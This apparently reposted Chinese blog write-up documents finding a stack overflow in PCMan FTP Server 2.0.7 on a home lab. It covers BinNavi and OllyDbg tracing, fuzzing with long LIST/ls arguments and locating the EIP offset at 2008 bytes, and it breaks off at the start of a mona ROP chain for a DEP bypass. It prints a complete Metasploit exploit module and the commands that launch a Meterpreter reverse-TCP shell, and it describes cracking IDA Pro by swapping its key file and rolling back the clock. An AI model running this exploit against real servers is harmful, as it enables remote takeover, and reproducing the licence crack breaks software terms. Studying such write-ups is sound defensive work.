作者 quanyechavshuo 2016-06-29 10:43:00
被查看了532次 , 本文转载自:乌云知识库

pcman-ftp初战漏洞挖掘

0x01 install binnavi

直接下载https://github.com/google/binnavi/releases里面的binnavi-all.jar,放到windows下双击,运行不成功说明缺少环境,再从其他几个链接中学习安装

使用教程https://www.zynamics.com/binnavi/manual/html/tutorial.htm

最佳安装方案:

将binnavi安装到win2003上

直接双击运行https://github.com/google/binnavi/releases中的binnavi-all.jar,并将这个链接里面的zynamics_binexport_9.plw和zynamics_binexport_9.p64放入idapro6.8的plugin目录中

将这个链接里面的copy_to_ida_root_windows.zip解压后放到ida的根目录下

ida pro6.8的安装如果因为没有注册使得ida pro无法加载binexport9插件(看不到Edit|Plugin|BinExport9说明没有加载成功),则替换ida安装目录下的ida.key文件为这个链接中的ida.key文件,并将系统时间改成若干年前完成ida pro的破解

如果提示有什么问题,再根据

https://blog.because-security.com/t/development-environment-for-binnavi-with-a-package-manager-windows/34

这里面的方法安装缺失依赖,可能不用全部安装完就可以再次尝试直接双击binnavi-all.jar而成功运行

安装postgresql到win2003上会失败,解决方法http://blog.itpub.net/29598413/viewspace-1258961/

以上安装知识理应足够,如需还有这个链接

里面的readme.md文件有关于安装的问题,另外这个链接里面有大多数需要的依赖环境打包好了

实例安装:(win2003)(事后觉得2中的命令可以不运行,因为binnavi-all.jar为最后编译的结果文件,而2中只是为了编译才做的过程)

  1. my_vinnavi从这里下载
  2. 安装my_binnavi中的install binnavi on win2003里面的两个exe
  3. 执行:

    #!powershell
    @powershell -NoProfile -ExecutionPolicy Bypass -Command "iex ((new-object net.webclient).DownloadString('https://chocolatey.org/install.ps1'))" && SET PATH=%PATH%;%ALLUSERSPROFILE%\chocolatey\bin
    choco install maven
    choco install ant
    choco install gradle
    
  4. 安装jdk8(jdk6不成功),并添加对应C:\Program Files\Java\jdk1.8.0_91\binC:\Program Files\Java\jre1.8.0_91\bin到环境变量path,新建一个环境变量JAVA_HOME为C:\Program Files\Java\jdk1.8.0_91\

  5. 安装idapro6.8,替换key文件,修改本机时间为几年前,将copy_to_ida_root_windows.zip里面的文件放入idapro根目录(重要,没有这步Edit|Plugin中看不到BinExport9),并将binexport的两个文件(zynamics_binexport_9.plw和zynamics_binexport_9.p64)放入idapro的plugin目录

  6. 安装my_binnavi中的postgresql(x86),数据库用户名和密码设为postgres,将win2003中的c:\program files\postgresql目录设置为everyone有所有权限

  7. 以管理员身份(否则在binnavi运行后无法import idb文件)运行binnavi-all.jar(win2003下右键以不受限方式打开cmd.exe,然后运行binnavi-all.jar)

0x02 fuzz target app

about

fuzz

  1. 安装ftpfuzz(实验中安装到192.168.3.77中)
  2. 设置user为annoymous,pass为test
  3. 只取list命令作为fuzz的对象
  4. 只选择A作为fuzz的数据

p1

0x03 binnavi使用方法

0.binnavi安装在win2003上,ip:192.168.3.176

1.新建一个project

2.导入一个模块(ida生成的idb文件)

出现错误及安装binnavi解决方法可参考https://github.com/google/binnavi/issues/94

3.新建一个debugger:192.168.3.177:2222

  • 192.168.3.77为安装ftpfuzz工具的一台win7机器,用于fuzz目标192.168.3.177上的pcmanftp
  • 192.168.3.176为安装binnavi的机器,用于远程调试192.168.3.177上的ftp进程,并追踪ftp进程上的相关指令
  • 192.168.3.177为目标ftp运行的机器,通过在192.168.3.177上安装idapro(6.8)加载该ftp进程后产生idb文件,将该idb文件复制到192.168.3.176(win2003)上用binnavi加载

为了实现在192.168.3.176上远程调试192.168.3.177的ftp,需要在192.168.3.177上运行:

https://github.com/google/binnavi/releases/download/v6.1.0/debugclient.exehttp://pan.baidu.com/s/1hsK0jwK中的debugclient.exe

在win7上不要用管理员权限运行,否则debugclient.exe会报断点错误,运行方法:

#!bash
win+r
cmd
debugclient.exe pid

4.初始化模块

双击图中的modules下面的pcmanftpd2.exe,或右键选择laod+initial,使得产生图中有Native Callgraph的面板,此时如果双击图中箭头指向的Native Callgraph可产生graph视图,并可从graph视图(图6)的菜单中选择windows下的debug perspective子项进行进程调试和指令追踪,此处不用这种方法,选择下面更好一点的方法

5.产生grahp视图

双击NewProject,左键按住modules下的pcmanftpd2.exe并拖到NewProject下的Default address space上面,这样将会把导入的idb模块"对应放到"default address space中,然后可以右键单击defalut address space,选择create combined callgraph,此时将产生上面说的graph视图(图6),如果不用这种方法而用上面的方法则不能在defalut address space上右键选择create combined callgraph,binnavi会报错

6.上面的graph视图窗口对应下面的图6

7.动态调试192.168.3.177上的ftp进程并追踪指令

  • 在正常binnavi窗口中(非graph窗口):

在NewProject面板中选择并保存上面设置的debugger,如下图7

在Default address place面板中选择并保存上面设置的debugger,如下图7-2

  • 在graph窗口中:

单击菜单中的windows,并选择debug perspective,将打开调试窗口,如下图7-3

单击下图7-4中的start debug开始进程调试

单击下图7-4中的start trace mode开始指令追踪

实验中binnavi版本为最新的6.1+ida pro6.8,安装在win2003系统上,此安装的binnavi有以下问题:

  1. stop trace mode按钮只是前几次有效(eg.10次内的trace列表)
  2. 在1下先按stop trace mode再按start trace mode按钮可以实时刷新地跟踪指令
  3. 按下超过一定次数的start trace mode(一定trace列表数)2中情况不再有效,需要重新start debugger,这也意味着要重新在192.168.3.177中重新运行pcmanftp,并运行:

    #!bash
    win+r
    cmd
    debugclient.exe pid
    
  4. binnavi中使用指令追踪功能时除了上面2中的方法也可以通过删除trace列表里面的已存在的trace,然后重新按start trace mode,这样可以不用按像2中(stop trace mode再按start trace mode)而达到指令追踪的目的,192.168.3.177的win7上运行debugclient.exe pid时不用管理员身份运行虽然会报断点错误,但是好像实际实验中追踪效果更好,此点尚疑.一般情况下,每个应用都用管理员身份运行不易出错(debugclient.exe,pcmanftp,binnavi)

图1

p2

图2

p3

图3

p4

图4

p5

图5

p6

图6

p7

图7

p8

图7-2

p9

图7-3

p10

图7-4

p11

0x03 实战

1. dep off

实验中win7系统中默认dep关闭如下

p12

追踪192.168.3.177中的pcmanftp进程的溢出指令

1.运行192.168.3.177上的pcmanftp后用管理员权限运行clientdebug.exe pid,然后单击192.168.3.176上的graph视图窗口下的debug perspective下的start debug,开始远程调试pcmanftp

2.单击start trace mode,binnavi下完断点后再单击start trace mode,此时binnavi中的trace列表如下图a,然后在192.168.3.77(另外一台win7,安装有ftpfuzz工具,用来fuzz目标192.168.3.177里的pcmanftp),事先设置fuzz数据为发送30,70...到9000个A,后来发现发送9000个A会使pcmanftp出错,于是最后设置fuzz数据为只发送9000个A,便于追踪出错的详细汇编语句,如下图b:

图a

p13

图b

p14

3.完成2中的设置后在192.168.3.77中单击上图中的start按钮,用ftpfuzz发送9000个A,只选择LIST命令进行fuzz,fuzz结束后binnavi中对应trace列表如下图trace1,说明ftpfuzz与binnavi的数据交互中共产生了72个event,也即从发送anonymous登录到发送完LIST 9000xA命令后的event,但是这样不能精确追踪到关键溢出(发送9000个A)时的代码,不会将登录ftp的过程记录到event中,使得event有72个,较大,为了精确追踪到pcmanftp对9000个A的数据处理过程,需要过滤掉fuzzftp登录pcmanftp的过程,于是进行如下操作:

  • on 192.168.3.177:

    #!bash
    关闭pcmanftp
    打开pcmanftp    #如果不重新打开pcmanftp,客户端用anonymous登录时会报"too many users"错误
    debugclient.exe pid
    
  • on kali:(192.168.3.106)

    #!bash
    ftp
    open 192.168.3.177
    user:anonymous
    pass:test
    
  • on binnavi(192.168.3.176)

    #!bash
    start trace mode    
    #因为上面重新打开了pcmanftp,此处不用先stop trace mode,binnavi自动关闭了
    start trace mode    
    #这条命令执行后trace列表如下图trace2
    
  • on kali:

    #!bash
    LIST AAA...A(9000个)    
    #结果显示"Invalid command",再看binnavi中trace列表,发现没有新增,结果依然为下图strace2,认为是terminal终端下登录ftp和ftpfuzz工具有点不同,终端下登录可能被本地ftp客户端的程序发现命令不对先给截断了
    
  • on 192.168.3.177:

重新打开pcmanftp并debug #重新追踪

  • on binnavi:

重新start debug,start trace mode,start trace mode

  • on kali:

    #!bash
    ftp
    open 192.168.3.177
    user:anonymous
    pass:test
    
  • on binnavi:

    #!bash
    start trace mode
    #上面annoymous登录后,运行这条命令前binnavi已记录kali中anonymous登录过程中的指令,在binnavi上运行这条命令后,再从kali中传输list Ax9000的命令则将会记录下list Ax9000这个过程中的指令
    
  • on kali:

    #!bash
    ls AA..A(9000个)
    #后来发现terminal下虽然list命令不可以成功,但可以ls 9000个A发送过去
    
  • on binnavi:

此时产生list 9000xA命令的trace指令列表,如下图trace3,说明list Ax9000这个命令运行后在pcmanftp上有7个event与之对应,此时eip已经被覆盖成41414141,说明大概到图trace3的sub_427350处已经覆盖了eip为41414141了,后来od跟踪发现确实如此

也即追踪到的关键event(指令)为:

sub_402B60
_atoi
_atoi
sub_405410
sub_427350

图trace1

p15

图trace2

p16

图trace3

p17

追踪到相关指令后此时binavi暂时退出,用od调试pcmanftp

  • on 192.168.3.177:

重新打开pcmanftp,od附加

#!bash
f9      #此时单击屏幕底部的状态栏发现不能看到pcmanftp的主界面
ctrl+g:402b60--->f2
ctrl+g:405410--->f2     
    #405410处像是异常处理程序相关,下面是od中的数据,后来相通了,这显然是在构造se异常处理,将一个异常处理方法放入栈中,线程初始化时,会自动向栈中安装一个seh,用作线程的默认异常处理
-----------content of 405410------------
00405410  /$  6A FF         push -0x1
00405412  |.  68 292D4300   push PCManFTP.00432D29                   ;  SE 处理程序安装
00405417  |.  64:A1 0000000>mov eax,dword ptr fs:[0]
0040541D  |.  50            push eax
0040541E  |.  64:8925 00000>mov dword ptr fs:[0],esp
00405425  |.  51            push ecx
00405426  |.  53            push ebx
00405427  |.  56            push esi                                 ;  PCManFTP.00441250
00405428  |.  8BF1          mov esi,ecx
0040542A  |.  897424 08     mov dword ptr ss:[esp+0x8],esi           ;  PCManFTP.00441250
0040542E  |.  E8 BD120000   call PCManFTP.004066F0
---------------end----------------------
ctrl+g:427350--->f2
  • on kali:

    #!bash
    ftp
    open 192.168.3.177
    #发现此时不能显示ftp会话消息,像是pcmanftp"卡住了"
    
  • on 192.168.3.177's od:

    #!bash
    alt+v
    t
    右键resume all threads  
    

此时可以单击状态栏中的pcmanftp可以显示pcmanftp主界面,且kali中也可以显示ftp会话信息,关于"卡住"以后为什么可以通过resume all threads来调试而"不影响"调试目的有以下猜想:

windows程序有消息响应机制,windows程序中的主线程一直在等待各个子线程的消息,如果某个子线程中断或者出故障了,可能会被主线程知道,然后主线程调用相应方法去处理这个出问题的子线程,这样就可以解释在下完402b60,405410,427350的断点后,发送ls Ax9000到pcmanftp,在od中一直按f9,却没有在某时刻可以看到eip=41414141,而最后由于的确存在某时刻eip=41414141,导致异常,最后弹出如下图error显示的错误对话框,对话框中显示出错原因为eip被41414141覆盖,这样大概是因为当eip在某时刻被41414141覆盖的时候,于是这个子线程出故障了,程序的主线程知道了这个消息,然后调用seh链中的异常处理程序,处理的结果就是弹出这样一个错误详细信息对话框

图error

p148

  • on kali:

    #!bash
    user:anonymous
    pass:test
    ls AAA..A(9000个)
    
  • on 192.168.3.177'od:

此时中断在402b60处

在堆栈窗口中:ctrl+b查找AAAA

提示没有找到

f9
此时中断在405410处

在堆栈窗口中:ctrl+b查找AAAA

提示没有找到

f9
此时中断在427350处

在堆栈窗口中:ctrl+b查找AAAA

提示找到,说明通过binnavi找到的这些event中,关键的覆盖eip的指令在405410到427350这两个断点之间

载pcmanftp,并重点关注405410到427350这两个断点之间会经过的指令

on 192.168.3.177's od:

重复以上加载并resume all threads过程直到中断到405410处

查找关键汇编指令方法:

结过漫长的ctrl+f9,f8,时刻关注堆栈,寄存器,反汇编窗口指令等,在可疑函数f8单步步过后在堆栈窗口中ctrl+b查找AAAA

现从405410到427350两个断点之间的指令,如果通过f8,f7,ctrl+f9等的一步一步调试无法到达覆盖eip的关键指令处,而通过在405410断点处直接f9到427350处会经过覆盖eip的关键指令处,然而确无法单步调试到关键指令处.

单步调试时指令经过流程为:

405410到427350,再由427350到427350

其中405410到427350流程中无法捕捉到覆盖eip的关键指令,于是指令开始在427350到427350之间一直循环,像是一个进程阻塞当中(eg.listen,accept),427350到427350也无法捕捉到覆盖eip的关键指令,在427350处f9到427350时,情况和下面的405410处f9到427350的情况一样

但是,两个断点之间f9运行调试时:

在405410处f9到427350时,在堆栈窗口中ctrl+b:41414141却能找到41414141,说明f9运行时,的确经过了覆盖eip的关键指令

出现以上这种现象暂时不能理解,猜测有可能是427350是一个循环等待的函数,并且与有时间相关,如果每次时间超过一定时间(单步调试程序某个线程等待造成时间较长),这个427350处的循环等待判断为无效,即只在一定时间内判定为有效循环等待(这样在427350处f9运行调试到427350处时可以在堆栈窗口捕获到AAAA就可以理解了)

于是尝试在405410和427350下断点后(到此处不用在402b60处下断点了),f9运行pcmanftp,然后在kali中的terminal中ftp open 192.168.3.177登录,之后输入ls 9000xA命令,待od中中断到405410时,在od的汇编代码区右键查看所有模块间调用,并在所有模块间调用处下断点,然后一直f9运行调试pcmanftp,这样有可能会在堆栈区捕获到AAAA,具体步骤如下:

  • on 192.168.3.177's od:

    #!bash
    alt+f2      #关闭调试程序
    重新运行pcmanftp并附加到od
    ctrl+g:405410--->f2
    ctrl+g:427350--->f2
    f9
    
  • on kali:

    #!bash
    ftp
    open 192.168.3.177
    
  • on 192.168.3.177's od:

    #!bash
    f9      #不是必须
    alt+v
    t
    右键resume all threads
    
  • on kali:

    #!bash
    user:anonymous
    pass:test
    ls AAA..A(9000个)
    
  • on 192.168.3.177's od:

    #!bash
    自动中断在405410处
    右键查找所有模块间调用
    在每个命令上设置断点
    alt+c
    f9
    ...
    (alt+c后共输入123个f9)
    

此时观察到堆栈区第一次出现大长串AAAAAAAAAA,断点处在416685,也即在416685处的模块间调用开始出现AAAAAAA,如下图od1

图od1

p19

于是重新在405410,416685,427350处下断点,重点关注405410到416685后,在416685开始的指令流程,具体如下:

  • on 192.168.3.177'od:

    #!bash
    ctrl+g:405410--->f2
    ctrl+g:427350--->f2
    f9
    
  • on kali:

    #!bash
    ftp
    open 192.168.3.177
    
  • on 192.168.3.177'od:

    #!bash
    alt+v
    t
    resume all threads
    
  • on kali:

    #!bash
    user:anonymous
    pass:test
    ls AA..A(9000个)
    
  • on 192.168.3.177's od:

    ctrl+g:416685---|||||>f2 alt+c

此时自动中断在405410处

#!bash
00405410  /$  6A FF         push -0x1
00405412  |.  68 292D4300   push PCManFTP.00432D29                   ;  SE 处理程序安装
00405417  |.  64:A1 0000000>mov eax,dword ptr fs:[0]
0040541D  |.  50            push eax

f9
此时自动中断在416685处

#!bash
00416685  |.  FF15 58524300 call dword ptr ds:[<&KERNEL32.GetLastErr>; [GetLastError
0041668B  |.  FF35 B0284400 push dword ptr ds:[0x4428B0]             ; /TlsIndex = 1A
00416691  |.  8BF8          mov edi,eax                              ; |
00416693  |.  FF15 98514300 call dword ptr ds:[<&KERNEL32.TlsGetValu>; \TlsGetValue

f9
此时又中断到416685处(不过堆栈窗口出现了AAAAAAA)

#!bash
00416685  |.  FF15 58524300 call dword ptr ds:[<&KERNEL32.GetLastErr>; [GetLastError
0041668B  |.  FF35 B0284400 push dword ptr ds:[0x4428B0]             ; /TlsIndex = 1A
00416691  |.  8BF8          mov edi,eax                              ; |
00416693  |.  FF15 98514300 call dword ptr ds:[<&KERNEL32.TlsGetValu>; \TlsGetValue

此时对应的od中截图如下图od2:

图od2

p20

  • esp下面的第一个返回到的地址为当前栈帧的返回地址,也即汇编窗口中004166e9处的retn要返回到的地址
  • esp下面的第二个返回到的地址4029db为当前函数栈帧的上一函数栈帧中的retn要返回的地址
  • esp下面的第三个返回到的地址4029ff为当前函数栈帧的上一函数的上一函数的栈帧中的retn要返回的地址

此时堆栈窗口数据如下:

#!bash
0018ED28   00000402
0018ED2C   004411DC  ASCII "
"
0018ED30   00412967  返回到 PCManFTP.00412967 来自 PCManFTP.00416683
0018ED34   00000402
0018ED38   00000000
0018ED3C   00000000
0018ED40   0018ED68
0018ED44   0018ED64
0018ED48   00000000
0018ED4C   00000000
0018ED50   00001000
0018ED54   0018ED78  ASCII "LIST AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...
0018ED58   01D817A0
0018ED5C   004029DB  返回到 PCManFTP.004029DB 来自 wsock32.recv
0018ED60   01D817A0
0018ED64   004029EF  返回到 PCManFTP.004029EF 来自 PCManFTP.00412956
0018ED68   0018ED78  ASCII "LIST AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...
0018ED6C   004411DC  ASCII "
"
0018ED70   00000000
0018ED74   00000001
0018ED78   5453494C
0018ED7C   41414120
0018ED80   41414141
0018ED84   41414141
0018ED88   41414141
0018ED8C   41414141

参照上一篇文章:

http://xinghuacai.github.io/%E4%BA%8C%E8%BF%9B%E5%88%B6/2016/06/04/%E4%BA%8C%E8%BF%9B%E5%88%B6%E5%85%A5%E9%97%A8-%E5%8A%A8%E6%80%81%E8%B7%9F%E8%B8%AA%E6%BA%90%E4%BB%A3%E7%A0%81%E5%92%8C%E5%8F%8D%E6%B1%87%E7%BC%96%E4%BB%A3%E7%A0%81/中的图stack0易知:

其中栈中0018ed8c以后很长一段数据都是41414141,由于此时中断到416685而堆栈窗口中首次出现AAAAAA数据,而堆栈窗口中最近的三个返回地址中00412976对应的是本函数栈帧(对应图od2)中的004166e9处的retn,这样的话,很有可能是本函数栈帧的上一帧函数(该函数内的retn对应返回到4029db)或者是上上一帧函数(该函数内的retn对应返回到4029ef)的返回地址被此时栈中的大长串A覆盖成41414141

当前eip对应的函数帧是00416683函数,当前函数帧的上一帧函数是wsock32.recv,wsock32.recv函数帧的上一函数帧的00412956函数,形如下面表示:

00412956:(412956函数帧)
    00412954:push ebp
    xxxxxxxx:mov ebp,esp
    xxxxxxxx:...
    xxxxxxxx:...
    xxxxxxxx:call wsock32.recv(这条汇编语句的下一条语句的地址为004029db)
        (wsock32.recv函数帧)
        recv's addr:push ebp
        xxxxxxxx:mov ebp,esp
        xxxxxxxx:...
        xxxxxxxx:...
        xxxxxxxx:call 00416683(这条汇编语句的下一条语句的地址为00412967)
            (00416683函数帧,对应图od2中语句)
            00416683:push ebp
            xxxxxxxx:mov ebp,esp
            xxxxxxxx:...
            xxxxxxxx:...
            00416685:call getlasterror
            0041668b:push ds:[0x4428b0]
            xxxxxxxx:...
            xxxxxxxx:...
            004166e9:retn(将返回到00412967)
            ...
            ...
        00412967:...(此处00412967对应为上面call 00416683语句中00416683函数的返回地址)
        ...
        ...
        xxxxxxxx:retn(将返回到004029db)
        ...
        ...
    004029db:...(此处004029db对应为上面call wsock32.recv语句中wsock32.recv函数的返回地址)
    ...
    ...
    xxxxxxxx:retn(将返回到004029ef)
    ...
    ...
004029ef:xxx(此处004029ef对应00412956函数桢中的retn语句要返回的地址)

所以有可能当前函数帧(对应图od2)中的汇编语句(执行到4166e9处的retn之前的语句)会导致栈中的两个返回地址(0018ed5c处的004029db和0018ed64处的004029ef)被覆盖,也有可能在wsock32.recv函数帧中某语句覆盖0018ed64处的004029ef,也有可能是本函数帧(00416683,正常情况下esp下面最近一个返回地址在od中显示来自于什么函数则当前eip在该函数帧中)的下一函数帧(也即还没执行到的函数,当前函数帧为最新函数帧)中的汇编语句覆盖两个返回地址或这两个返回地址下面比较远的返回地址等

于是重点关注堆栈窗口中的0018ed5c处的004029db和0018ed64处的004029ef是否可能会在当前函数帧中执行到004166e9之前或下一个将到达的函数帧中被改写成41414141

在od中f8单步调试时,遇到可疑指令如call xxx等,在堆栈窗口中ctrl+g(堆栈中跟随):0018ed5c或0018ed64,然后f8单步调试,具体如下操作:

f8
f8
..
f8

执行到图od2中的004166e9处的retn时,0018ed5c和0018ed64处的返回地址都不变,继续f8跳到412967处,此时在wsock32.recv函数帧中,继续f8

f8
..
f8

执行到412997处时,在到达这个函数帧中的rent语句前,所有的指令都在wsock32.recv函数帧中,0018ed5c中的返回地址由004029db被改成000000,也即wsock32.recv函数帧中的retn指令被执行时将返回到由004029db变成的00000000,此时栈帧已经被破坏,执行完wsock32.recv函数帧中的retn指令后,将跳到00000000执行,也即在当前帧(wsock32.recv函数帧)中执行到retn语句时,将发生错误,对应汇编指令为:

#!bash
00412976    5F              pop edi
00412977    8A16            mov dl,byte ptr ds:[esi]
00412979    B3 01           mov bl,0x1
0041297B    0FB6CA          movzx ecx,dl

对应堆栈窗口中0018ed5c和0018ed64处的内容为:

#!bash
0018ED58   00000000
0018ED5C   00000000
0018ED60   01D817A0
0018ED64   004029EF  返回到 PCManFTP.004029EF 来自 PCManFTP.00412956
0018ED68   0018ED78  ASCII "LIST AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...
0018ED6C   01D80F80

而当前函数帧中的retn语句在如下位置004129f9处:

#!bash
004129F1    F7D8            neg eax
004129F3    1BC0            sbb eax,eax
004129F5    23C3            and eax,ebx
004129F7    5B              pop ebx
004129F8    C9              leave
004129F9    C3              retn

所以如果是要将堆栈窗口中0018ed5c处的004029db或0018ed64处的004029ef这两个返回地址覆盖成41414141有极大的可能是在当前函数帧的004129f9处的retn语句前完成,而0018ed64处被覆盖成41414141的可能性更大,因为0018ed5c处已经被覆盖成00000000了

f8
f8
..
f8

在eip=004129f9前,单步执行到004129c1处

f8
f8
..

f8执行到004129df,以jmp 到004129c1,也即004129c1到004129df相当于一个for循环,004129c1处开始到retn语句前的汇编指令如下:

#!bash
004129C1    8A02            mov al,byte ptr ds:[edx]
004129C3    84C0            test al,al
004129C5    74 1E           je short PCManFTP.004129E5
004129C7    0FB6F0          movzx esi,al
004129CA    8BCE            mov ecx,esi
004129CC    6A 01           push 0x1
004129CE    23CF            and ecx,edi                              ; PCManFTP.00439C18
004129D0    58              pop eax                                  ; PCManFTP.00439C18
004129D1    D3E0            shl eax,cl
004129D3    C1EE 03         shr esi,0x3
004129D6    8A4C35 E0       mov cl,byte ptr ss:[ebp+esi-0x20]
004129DA    84C1            test cl,al
004129DC    75 03           jnz short PCManFTP.004129E1
004129DE    42              inc edx                                  ; ntdll_1a.7770B831
004129DF  ^ EB E0           jmp short PCManFTP.004129C1
004129E1    8022 00         and byte ptr ds:[edx],0x0
004129E4    42              inc edx                                  ; ntdll_1a.7770B831
004129E5    8B45 0C         mov eax,dword ptr ss:[ebp+0xC]
004129E8    5F              pop edi                                  ; PCManFTP.00439C18
004129E9    5E              pop esi                                  ; PCManFTP.00439C18
004129EA    8950 18         mov dword ptr ds:[eax+0x18],edx          ; ntdll_1a.7770B831
004129ED    8BC3            mov eax,ebx
004129EF    2BC2            sub eax,edx                              ; ntdll_1a.7770B831
004129F1    F7D8            neg eax
004129F3    1BC0            sbb eax,eax
004129F5    23C3            and eax,ebx
004129F7    5B              pop ebx                                  ; PCManFTP.00439C18
004129F8    C9              leave
004129F9    C3              retn

直接在004129df的下一条语句004129e1上f4,发现f4以后eip直接跳到了00416685处的call getlasterror语句上,而不是f4执行到004129e1上,且f4以后0018ed5c处的004029db和0018ed64处的004029ef都被覆盖改写成41414141

说明004129c1到004129df为关键的复制过程,这个过程覆盖了0018ed5c处的004029db和0018ed64处的004029ef

然而在当前wsock32.recv函数帧中,如果覆盖返回地址,一般是只能覆盖到当前函数帧的上一函数帧的返回地址,即覆盖0018ed64处的004029ef,不明白为何连当前函数帧的返回地址也被覆盖成41414141了,这一点不解

猜测是由于windows的消息机制,程序的主线程监视到有函数的返回地址被覆盖成不可执行的地址41414141时,进入异常处理链开始执行(由于主线程优先级高,于是出问题后不去41414141处执行,也不去原来wsock32.recv函数帧当中按f4处的004129e1执行),发现没有专门对应的exception handler,最后调用unhandled exceptionfilter(后来f8单步发现是有call unhandled exceptionfilter)处理这个异常,最后弹出图error的对话框,认为有某一刻eip=41414141,但是这一刻没有在单步调试中出现,认为由004129e1处突然跳到了call getlasterror的过程中,实际上是先到eip=41414141处,然后再跳到到call getlasterror处,或许是由于这个过程太快或比较特殊而没有被od捕捉到因而没有遇到eip=41414141的时刻

但是现在不能确定是0018ed5c处被覆盖成的41414141还是0018ed64处被覆盖的41414141是真正的那一刻eip=41414141的时刻而引起的主线程优先进入异常处理

理论上是在004129e1处f4的时候,由于还在wsock32.recv函数帧当中,返回的先后顺序是先返回到0018ed5c处被覆盖的41414141再返回到0018ed64处被覆盖的41414141,然而0018ed5c原来被覆盖成00000000时是可以理解的,被覆盖成41414141是不可理解的,于是这两种可能性都不能确定

在内存中覆盖时AAAA的数据由0018e58e开始到0018ed64共2006个字节,由0018e58e开始到0018ed5c共1998个字节,重新发送1998xA+BBBB+CCCC+DDDD到pcmanftp,不用od加载,看看最后的error对话框中的异常位移是多少

向pcmanftp发送Ax1998+Bx4+Cx4+Dx4发现不能使pcmanftp停止工作,于是发送Ax1998+Bx4+Cx4+Dx4+Ex6990(共9000个字节),成功使之停止工作,但是弹出对应error图中对话框中的异常偏移为45444444,也即对应EDDD,这样应该是说明是0018ed64处的41414141被覆盖,但是又相差一个字节,不知是那里算错了,暂且不纠结于此

发送Ax1998+Bx4+Cx4+Dx4+F+Ex6989(共9000个字节),成功使之停止工作,且异常偏移显示为46444444,说明发送的9000个字节中,第2008到2011个字节处为覆盖eip处,构造exploit,发现与https://www.exploit-db.com/exploits/39662/链接中的偏移情况相同,都是在第2008-2011个字节处为覆盖返回地址的eip处,在这里填入jmp esp的地址后,再在后面填入用于反弹的shellcode即可,不同的是exploit-db中的是winxpsp3 eng环境,而此处环境为win7x64的中文系统环境

在192.168.3.177中运行pcmanftp后od附加,alt+e选择一个系统dll(实验中选择的是c:\windows\system32\ntdll.dll),在od中ctrl+f:jmp esp找到一个地址为77506aeb,构造的exploit如下:

#!python
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'PCMAN FTP Server Buffer Overflow - PUT Command',
      'Description'    => %q{
          This module exploits a buffer overflow vulnerability found in the PUT command of the
          PCMAN FTP v2.0.7 Server. This requires authentication but by default anonymous
          credientials are enabled.
      },
      'Author'         =>
          [
            'quanyechavshuo'
          ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'EDB',   '37731'],
          [ 'OSVDB',   '94624']
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process'
        },
      'Payload'        =>
        {
          'Space'   => 1000,
          'BadChars'  => "\x00\x0A\x0D",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'windows 7 x64',
            {
              'Ret' => 0x776c2fe1, # jmp esp C:\WINDOWS\system32\ntdll.dll
              'Offset' => 2008
            }
          ],
        ],
      'DisclosureDate' => 'Aug 07 2015',
      'DefaultTarget'  => 0))
  end

  def check
    connect_login
    disconnect

    if /220 PCMan's FTP Server 2\.0/ === banner
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
    end
  end


  def exploit
    connect_login

    print_status('Generating payload...')
    sploit = rand_text_alpha(target['Offset'])

    #tmp = sploit
    #print_status(tmp)

    sploit << [target.ret].pack('V')
    sploit << make_nops(16)
    sploit << payload.encoded

    tmp=sploit
    print_status(tmp)

    send_cmd( ["ls", sploit], false )
    disconnect
  end

end

exploit情况说明:

  1. 在实际msf中加载上面的exploit时,发现要应该对应第2009个字节开始为填充的jmp esp的地址,也即exploit代码中的填充随机覆盖的数据要有2008个,而不是原来认为的2007个
  2. 出现1中的情况认为可能是考虑覆盖偏移量时不应该从AAAA开始,要从ls命令开始,也即ls AAAA开始算
  3. 上面代码中没有发送共9000个字节的数据,用反弹的shellcode代替也可成功
  4. win7系统重启后,jmp esp地址会改变,重启后代码中的jmp esp的地址不再合适
  5. 将上面的代码重命名为mypcmanftp.rb,放到kali中/usr/share/metasploit-framework/moudles/exploits/windows/my/目录下,使用如下命令:

    #!bash
    use exploit/windows/my/mypcmanftp
    set payload windows/meterpreter/reverse_tcp
    set rhost 192.168.3.177
    set lhost 192.168.3.106
    exploit
    

成功溢出后返回meterpreter的shell如下图meterpreter1,其中打印出来的数据为代码中print_status(tmp)的结果,即payload的数据

图meterpreter1

p21

2. dep on

实验中win7x64系统中dep开启如下:

p22

参考:

目的

实现win7绕过dep并成功溢出pcmanftp

mona插件

在immunity debugger中执行!mona rop -m *.dll -cp nonull,将得到如下(rop_chains.txt中)建议的rop_gadgets:

#!python
def create_rop_chain()

    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = 
    [
      0x027c9a7a,  # POP ECX # RETN [knb3rdhmpg.dll] 
      0x73c112d0,  # ptr to &VirtualProtect() [IAT OLEACC.dll]
